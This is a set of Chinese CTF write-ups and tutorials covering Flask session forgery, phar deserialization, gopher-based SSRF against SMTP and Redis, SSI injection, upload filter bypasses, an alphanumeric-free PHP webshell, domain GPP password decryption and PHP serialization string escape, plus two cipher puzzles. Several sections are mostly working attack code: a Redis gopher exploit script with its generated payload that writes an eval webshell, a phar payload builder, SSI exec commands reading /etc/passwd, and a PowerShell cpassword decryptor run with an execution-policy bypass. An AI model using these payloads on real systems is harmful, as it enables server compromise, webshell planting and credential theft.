考点:flask session伪造

注册任意用户后登录,源代码中看到提示你不是admin,所以需要成为admin用户。同时在change目录下源代码看到该题源码的github地址。

想要伪造session,需要先了解一下flask中session是怎么构造的。
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 类似于Cookie伪造。

利用EditThisCookie插件取出session值,利用脚本进行解码

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
    return session_json_serializer.loads(payload)
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

​但是如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,然后我们在config.py里发现了SECRET_KEY

然后在index.html页面发现只要session[‘name’] == ‘admin’即可以得到flag

利用 flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager 并将刚刚解密的session中的name值改为admin

最后利用EditThisCookie替换该session刷新得到flag。

考点:phar反序列化

题目上来是一个上传,正常上传文件后会根据每个用户的IP,MD5加密生成一个文件夹,将内容保存,同时还存在一个view按钮,可查看上传的文件

在upload处抓包,可以看到有参数传递,在一切毫无头绪时,考虑文件包含漏洞,读取到upload.php和view.php,这里贴出view.php的内容upload.php并没有特别的考点在这里

 <!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>查看图片</title>
    <link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
    <script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
    <?php
    #include_once "flag.php"; 
    error_reporting(0);
    class View
    {
        public $dir;
        private $cmd;

        function __construct()
        {
            $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
            $this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
            if(!is_dir($this->dir)) {
                mkdir($this->dir, 0777, true);
            }
        }

        function get_file_list() {
            $file = scandir('.');
            return $file;
        }

        function show_file_list() {
            $file = $this->get_file_list();
            for ($i = 2; $i < sizeof($file); $i++) { 
                echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
            }
        }

        function show_img($file_name) {
            $name = $file_name;
            $width = getimagesize($name)[0];
            $height = getimagesize($name)[1];
            $times = $width / 200;
            $width /= $times;
            $height /= $times;
            $template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
            echo $template;
        }

        function delete_img($file_name) {
            $name = $file_name;
            if (file_exists($name)) {
                @unlink($name);
                if(!file_exists($name)) {
                    echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
                    header("refresh:3;url=view.php");
                } else {
                    echo "Can not delete!";
                    exit;
                }
            } else {
                echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
            }
        }

        function __destruct() {
            eval($this->cmd);
        }
    }
    
    $ins = new View();
    chdir($ins->dir);
    echo "<h3>当前目录为 " . $ins->dir . "</h3>";
    $ins->show_file_list();
    if (isset($_POST['show'])) {
        $file_name = $_POST['show'];
        $ins->show_img($file_name);
    }
    if (isset($_POST['delete'])) {
        $file_name = $_POST['delete'];
        $ins->delete_img($file_name);
    }
    unset($ins);
    ?>
</body>
</html>

与我预想的反序列化不同,不存在unserialize函数,但存在eval函数,可对cmd变量构造恶意代码。同时题目还是一个文件上传,那么就可以联想到通过phar文件进行反序列化重构cmd变量的值,上传phar文件,最后通过show或者delete传参利用phar协议触发phar文件,使构造的序列化代码进行反序列化

构造:

<?php 
class View {
        public $dir = '';
        private $cmd = 'phpinfo();chdir("/var/www/html");readfile("flag.php");';
}
    $o = new View();
    unlink("phar.phar");//删除原有存在的
    $phar = new Phar("phar.phar");//生成
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,加入GIF头绕过内容验证
    $phar->setMetadata($o); //加入序列化内容
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
?>

​代码编写也很简单,很多都是套路,dir变量处可以什么都不写,也不会有影响,phar的学习可以参看https://paper.seebug.org/680/#2-a-manifest-describing-the-contents,生成了phar文件后进行上传,在view.php页面利用hacker bar传递show或delete参数,触发phar文件,这样在类的方法中运行完后会触发__destruct魔术方法执行eval函数。

最后在源代码最下方找到flag

<?php 
highlight_file(_FILE_); 
$x = $_GET['x']; 
$pos = strpos($x,"php"); 
if($pos){
    exit("denied");
} 
$ch=curl_init(); 
cur1_setopt($ch,CURLOPT_URL,"$x"); 
cur1_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo Sresult;
?>

思路:
◆可利用的协议有gopher、dict、http、https、file等
◆file协议可以用于查看文件
◆dict协议可以用于刺探端口
◆gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shel1

绕过strops,对p进行url二次编码绕过p->%70->%2570

最后发现172.18.0.1/2/3可以访问,其中172.18.0.2存在文件包含漏洞

再次利用BurpSuite探测该内网IP开放端口,发现存在25端口smtp服务

利用思路,利用Gopher协议发送一句话木马请求,污染其日志文件,最后通过文件包含漏洞将日志文件包含拿到shell。

工具利用Gopherus:https://github.com/tarunkant/Gopherus,该工具可快速生成指定Payload,python2下执行

root@iZ2ze0vvr76o932bopx4kxZ:~/SSRF工具/Gopherus-master# python gopherus.py -h
 usage: gopherus.py [-h] [--exploit EXPLOIT]
 optional arguments:
   -h, --help         show this help message and exit
   --exploit EXPLOIT  mysql, fastcgi, redis, smtp, zabbix, pymemcache,
                      rbmemcache, phpmemcache, dmpmemcache

最后将IP地址改为目标IP即可

但是木马肯定是无法直接执行的,我们的目的也是使该请求记录写到smtp的日志记录中。

Smtp常见日志文件位置:
◆/var/log/maillog
◆/var/log/mail.log
◆/var/adm/maillog
◆/var/adm/syslog/mail.log

[GKCTF2020]小学生的密码学

考点:仿射密码

给自己做个记录

题目

e(x)=11x+6(mod26)

密文:welcylk

(flag为base64形式)

利用在线解密网站:https://cryptii.com/pipes/affine-cipher

flag{c29yY2VyeQ==}

[GKCTF2020]汉字的秘密

附件内容是当铺密码

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码

输出EJ>CvSHMV7G9R9@?3k

结合FLAG的ASCII码和输出结果的ASCII码发现,差值依次为1 2 3 4

完整脚本如下:

dh = '田口由中人工大土士王夫井羊壮'
ds = '00123455567899'
cip = input('请输入当铺密码:')#'王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'
s = ''
for i in cip:
    if i in dh:
        s += ds[dh.index(i)]
    else:
        s += ' '
print(s)#输出对应的数字
list = s.split(" ")#空格分隔,返回列表
str = ""
for i in list:
    str += chr(int(i))
print(str)#输出对应的ASCII码
result = ''
for i in range(0,len(list)):
    result += chr(int(list[i])+i+1)
print('result=', result, '\t\tresult.lower()=', result.lower())

0x00 简介

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

Gopher发送请求HTTP GET请求:

Windows下安装netcat,工具地址: https://eternallybored.org/misc/netcat/

在 C:\Windows\System32的文件夹下解压即可。

首先在本机上开启监听端口:nc -lvp 6666

Kali上:curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

发送一个原始的HTTP包

在gopher协议中发送HTTP的数据,需要以下三步

 1、构造HTTP数据包 
 2、URL编码、替换回车换行为%0d%0a 
 3、发送gopher协议 

首先利用PHPStudy新建一个get.php文件,内容

<?php    
echo "Hello ".$_GET["name"]."\n"
?>

传递?name=purplet,利用BurpSuite抓包可以看到报文头

GET /tes/get.php?name=purplet HTTP/1.1
Host: 192.168.194.1

URL编码后为: curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a 

注意:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

Gopher发送请求HTTP POST请求:

POST与GET传参的区别:它有有4个参数为必要参数

POST /tes/post.php HTTP/1.1
host:192.168.194.1
Content-Type:application/x-www-form-urlencoded
Content-Length:12

name=purplet

如下构造:

curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

其中post.php

<?php 
echo "Hello".$_POST['name']."\n";
?>

0x01 redis未授权访问

什么是redis

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

什么是redis未授权访问漏洞

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

漏洞利用常见三种方法:

(1)已知目标网站绝对路径写入Webshell
(2)定时任务反弹shell
(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器 

CTF中较为常见的利用方法是写入webshell,通过redis连接工具

root@kali:~# redis-cli -h 192.168.5.57(目标IP)

可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用

 192.168.5.57:6379>flushall  

写入Webshell

192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
192.168.5.57:6379>config set dbfilename shell.php #创建文件
192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"
192.168.5.57:6379>save

0x02 CTF中的应用

[GKCTF2020]EZ三剑客-EzWeb

考点:redis未授权访问与gopher协议的利用

查看源代码后发现隐藏注释

传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10

在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。

既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255

爆破结果得到4个内网IP

其中11时出现以下字: 被你发现了,但你也许需要试试其他服♂务,就在这台机子上! …我说的是端口啦1 ,给出了很明显的提示继续进行端口扫描

端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描

21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018

最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。

exp如下,请仔细读懂,其中空格也利用${IFS}代替。

#/usr/bin/python
import urllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

python2环境下运行后将得到的结果提交过去

gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最终拿到shell成功实现命令执行。

文章参考:https://zhuanlan.zhihu.com/p/112055947

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D

0x00 知识点

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

重点: ssi是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtml等则考虑该网站可能存在SSI注入漏洞

0x01 SSI语法

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

SSI指令基本格式:<!-– 指令名称=”指令参数”>

①显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var=”DOCUMENT_NAME”–>

现在时间:

<!–#echo var=”DATE_LOCAL”–>

显示IP地址:

<!–#echo var=”REMOTE_ADDR”–>

将文本内容直接插入到文档中<#include>

<!–#include file=”文件名称”–>

<!–#include virtual=”index.html”–>

<!–#include virtual=”文件名称”–>

<!–#include virtual=”/www/footer.html” –>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<!–#flastmod file=”文件名称” –>

文件的长度:

<!–#fsize file=”文件名称” –>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd=”文件名称”–>

<!–#exec cmd=”cat /etc/passwd”–>

<!–#exec cgi=”文件名称”–>

<!–#exec cgi=”/cgi-bin/access_log.cgi”–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

补充说明:
1.<!– –>是HTML语法中表示注释,当WEB服务器不支持SSI时,会忽略这些信息。
2.#exec 为SSI指令之一。
3.cmd 为exec的参数, cat /etc/passwd为参数值,在本指令中指将要执行的命令。

4. <!–与#号间无空格,只有SSI指令与参数间存在空格。

0x02 CTF应用

[BJDCTF2020]EasySearch

扫描目录存在.swp备份文件,访问得到源码

<?php
 ob_start();
 function get_hash(){
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
 $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
 $content = uniqid().$random;
 return sha1($content); 
 }
    header("Content-Type: text/html;charset=utf-8");
 ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
 ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
 echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
 ***
    }
 ***
?>

第一个判断很明显就是一个套路的md5值相等问题,掏出脚本

import hashlib
 a = input("输入6位数")
 for i in range(1,100000001):
     s = hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6]
     if s == a:
         print(i)
         break
SSI注入

输入进去,F12打开得到路径回显

SSI注入

看到shtml后缀,考虑SSI注入,直接来一波命令执行先列个目录,最后在上级目录找到关键信息。

<!--#exec cmd="ls ../"-->

接着读取即可获得flag<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

利用SSI进行反弹shell及exec过滤绕过参看:https://blog.csdn.net/whatiwhere/article/details/84729008

check in

考点:文件上传过滤ph,短标签命令执行绕过,.htaccess攻击

知识点:<?=和<? echo等价,从PHP5.4.0后起<?=总是可用的

<?=eval($_POST[‘cmd’]);相当于<? echo eval($_POST[‘cmd’]);

抓包,随便上传了个马,发现存在内容黑名单

过滤了ph,尝试用短标签绕过本地测试了下,这样的短标签可以执行任意系统命令,system也可以

于是我们去选择构造如下的payload上传,让他直接执行命令 ,其中注意.htaccess中的php部分用换行绕过,同时修改Content-Type类型

最后访问得到flag

如果要getshell可以蚁剑连接的话上传<?=eval($_POST[‘cmd’]);

Hard_Pentest_1

考点: 短标签+无字母数字webshell+内网渗透

打开题目的源码如下:

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

代码过滤很简单:不允许php后缀,且文件内容不能存在数字和字母,php大小写就绕过了,无数字字母的webshell构造参看https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?=$_=[]?>
<?=$_=@"$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?>
<?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?= $_=$$____?>
<?= $_[__]($_[_],$_[___])?>

上面这个脚本请仔细研究,很好理解。最后访问得到的路径去写一个马

蚁剑连接后发现是Windows环境,找到一个压缩包,导出,发现需要密码

根据提示继续进行内网渗透,查到域控192.168.0.12,该机器为192.168.0.11并属于De1CTF2020.lab域中

输入net use查看域中的共享连接

接下来参看大佬的Writeup学习到域渗透中SYSVOL还原组策略中保存的密码方法

参看:https://3gstudent.github.io/3gstudent.github.io

首先在每个域内都有一个共享的文件夹SYSVOL,路径为:\\<donain>\SYSVOL\,所有域内主机都能访问,里面保存组策略相关数据。因此进入该域中的共享文件夹

然后需要找到相应的策略组id的配置文件,路径为://De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups/,如下是配置文件Groups.xml的内容

其中cpassword为AES加密的密码,有现成的解密脚本,改一下密码即可

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param(
        [string]$Cpassword
    )
    try{
    # Append appropriate padding based on string Length
    $Mod=($Cpassword.length % 4)
    
    switch($Mod){
    '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length-1)}
    '2' {$Cpassword += ('='*(4-$Mod))}
    '3' {$Cpassword += ('='*(4-$Mod))}
    }
    
    $Base64Decoded=[Convert]::FromBase64String($Cpassword)
    #Create a new AES.NET Crypto Object
    $AesObject=New-Object System.Security.Cryptography.AesCryptoServiceProvider
    [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
    
    #Set IV to all nulls to prevent dynamic generation of IV value
    $AesIV = New-Object Byte[]($Aesobject.IV.Length)
    $AesObject.IV=$AesIV
    $AesObject.Key=$Aeskey
    $DecryptorObject=$Aesobject.CreateDecryptor()
    [Byte[]] $OutBlock=$DecryptorObject.TransformFinalBlock($Base64Decoded,0,$Base64Decoded.length)
    
    return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }
    
    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"//对应密文

保存为1.ps1上传,在虚拟终端运行:powershell -executionpolicy bypass -file 1.ps1,得到压缩包密码,打开得到flag1

0x00 前提

掌握PHP反序列化的原理,序列化的对应内容及POP链构造。可参看:

https://xz.aliyun.com/t/3674https://xz.aliyun.com/t/6454

PHP的反序列化特点:

01.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。

02.当长度不对应的时候会出现报错

03 可以反序列化类中不存在的元素

<?php
class user{
    public $name = 'purplet';
    public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>

​输出:

0x01 字符串逃逸

此类问题分为两种:1-过滤后字符变多,2-过滤后字符变少。

1-过滤后字符变多的原理就是引用的闭合思想。

案列Demo:

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

该Demo的输出结果就可以看到p被换成了两个W,而前面对应的数值仍然是没过率之前的7。而后面的报错注意,也就是上面所说的特点2的性质。

而也是因为有这个过滤的存在,所以存在了注入的漏洞,我们可以构造序列化字符修改age的值,构造修改age的值的代码:";i:1;s:2:"20";} ,再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";} 拼接,即:username的值此时传入的是: pppppppppppppppp”;i:1;s:2:”20″;},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";} 成功逃逸,修改了age的值。(后面的值忽略是特点1)

这种逃逸的技巧:判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,多出两个以上可以这样去构造(这里我已2个为例):也就可以这么理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)

2-过滤后字符变少的问题

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

再看这个Demo,很明显两个p会变成一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬直到遇到”;结束,所以这种问题就不再是只传递一个值,而应该username处传递构造的过滤字符,age传递逃逸代码。

那么如何构造呢?

第一步、将上面正常传递age=10序列化后的结果;i:1;s:2:”10″;} 修改成构造代码 ;i:1;s:2:”20″;} 再次传入,该值即为最终的逃逸代码,而此时username传递的p的数值无法确定,先可随意构造,查看结果

很明显红线为我们传递的age的值,而再看前面26所应包含的内容为WWWWWWWWWWWWW”;i:1;s:15: 可以发现吃掉了一个原本对应的双引号,使前后引号不对应。

第二步、我们依然要闭合引号,所以age处传递一个任意数值和双引号进行闭合,即:再次传入age = A”;i:1;s:2:”20″;},查看结果

第三步、很明显此处选中的部分就是我们构造出要被吃掉的字符串,(也就变为了我们上面所说的第一种情况)计算出它的长度为13,而又知晓过滤后字符缩减一半,那么就可以构造13*2=26个p,即最终传递usernmae=pppppppppppppppppppppppppp,age=A”;i:1;s:2:”20″;}

最终成功使前面的被吃掉,后面构造的代码成功逃逸。

0x02 CTF中应用

以DASCTF的Ezunserialize为例(字符减少)

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

